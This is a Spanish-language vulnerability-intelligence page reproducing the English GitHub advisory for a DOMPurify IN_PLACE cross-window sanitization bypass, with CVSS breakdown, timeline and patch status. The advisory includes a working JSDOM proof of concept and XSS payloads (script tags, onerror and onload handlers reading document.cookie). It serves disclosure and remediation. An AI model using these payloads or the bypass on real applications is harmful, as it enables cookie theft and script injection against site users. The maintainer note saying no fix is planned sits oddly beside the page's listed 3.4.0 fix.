llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · dompurify

GHSA-4W3Q-35JP-P934

DOMPurify IN_PLACE mode fails to sanitize cross-window DOM elements, allowing XSS bypass

Parche disponible
Descargar PNG JSON
CVSS 4.0
7.2
Alta
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:N/SC:H/SI:H/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a 13 d de la divulgación
Exposición232 dDesde la divulgación, 1 abr 2026, 9:51 a. m.
Detección231 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.4.0
Monitoreo
Detectada +1
1 abr 26
14 abr 26
19 may 26
18 nov 26
20 nov 26
1 abr 26
29 may 26
26 jul 26
22 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4W3Q-35JP-P934 divulgada · CVSS 7.2 (GitHub)
Remediación Parche 3.4.0 dompurify · 13 d desde divulgación
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Edit: Cure53 ###

Thanks for the report. We published for transparency and discussion, but we do not see it as actionable within DOMPurify’s threat model, so no fix is planned at this point. In our view, this is an edge-case discussion item rather than a regular, in-scope DOMPurify security issue.

### Summary
DOMPurify 3.3.3 fails to sanitize DOM elements passed via the `IN_PLACE` mode when the element originates from a different window/realm (e.g., an iframe's `contentDocument`), allowing all XSS payloads to survive sanitization.

Details

File: `src/purify.ts`, lines 1530–1556

The vulnerability is caused by a cross-realm `instanceof` check failure. DOMPurify uses a private `_isNode()` function to detect DOM nodes:

const _isNode = function (value: unknown): value is Node {
  return typeof Node === 'function' && value instanceof Node;
};

`Node` here is captured from the window used to initialize DOMPurify. When a DOM element from a different window (e.g., `iframe.contentDocument.createElement('div')`) is passed, `value instanceof Node` returns `false` because `instanceof` does not cross window/realm boundaries.

This triggers the following fallback code path:

// src/purify.ts:1530
if (typeof dirty !== 'string' && !_isNode(dirty)) {
  if (typeof dirty.toString === 'function') {
    dirty = dirty.toString();  // "[object HTMLDivElement]"
  }
}

// src/purify.ts:1555
if (typeof dirty === 'string') {
  IN_PLACE = false;  // config overridden to false!
}

The element is converted to the string `"[object HTMLDivElement]"`, which:
1. Has no `<` character, triggering the early return at the string fast-path
2. Resets `IN_PLACE` to `false`, abandoning the caller's intent
3. Returns the string `"[object HTMLDivElement]"` to the caller

The original element object is returned unchanged with all XSS attributes intact.

PoC
// poc_inplace_crosswindow.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

// Initialize DOMPurify with the main window (typical production setup)
const mainWindow = new JSDOM('', { runScripts: 'dangerously' }).window;
const DOMPurify = createDOMPurify(mainWindow);

// Attacker-controlled cross-window content (e.g., from an iframe)
const attackerWindow = new JSDOM('', { runScripts: 'dangerously' }).window;
const maliciousElement = attackerWindow.document.createElement('div');
maliciousElement.innerHTML = [
  '<script>alert(document.cookie)</script>',
  '<img src=x onerror=alert(document.cookie)>',
  '<svg onload=alert(1)>',
].join('');

console.log('[BEFORE]', maliciousElement.innerHTML);
// Output: <script>alert(document.cookie)</script><img src="x" onerror="alert(document.cookie)">...

// Developer uses IN_PLACE, expecting the element to be sanitized
const result = DOMPurify.sanitize(maliciousElement, { IN_PLACE: true });

console.log('[AFTER]', maliciousElement.innerHTML);
// Output: UNCHANGED - <script>alert(document.cookie)</script><img src="x" onerror="alert(document.cookie)">...

console.log('[RETURN]', result);
// Output: "[object HTMLDivElement]"  <- not the element! broken return value too

Vulnerable application pattern:

// In a web app using same-origin iframes:
const iframe = document.getElementById('user-content-iframe');
const userEl = iframe.contentDocument.getElementById('user-submitted-content');

// BROKEN: Developer thinks this sanitizes the element
DOMPurify.sanitize(userEl, { IN_PLACE: true });

// XSS executes when element is appended to main document:
document.querySelector('#content-area').appendChild(userEl);
Impact

An attacker who can cause a web application to call `DOMPurify.sanitize(element, {IN_PLACE: true})` with a DOM element sourced from a cross-window context (same-origin iframe, `window.open()`, `window.opener`) can bypass the sanitization entirely, causing XSS in the parent document when the element is rendered.

The attack requires:
- The application uses `IN_PLACE: true` (documented feature for performance optimization)
- The element passed originates from a different window object (same-origin iframe, opened window, etc.)
- The application renders the element into the main document after "sanitizing" it

The normal DOMPurify usage pattern (sanitizing HTML strings) is completely unaffected. Only the `IN_PLACE` DOM node path is vulnerable.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:P
NingunaPasivaActiva
Confid. (sistema)VC:L
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:H
AltoBajoNinguno
Integridad (posterior)SI:H
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
dompurify≤ 3.3.3
3.3.3
3.4.18
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmdompurify
Corregida 3.4.0 13 d 3.4.18 no afectada
Versiones corregidas3.4.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/cure53/DOMPurify/security/advisories/GHSA-4w3q-35jp-p934

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.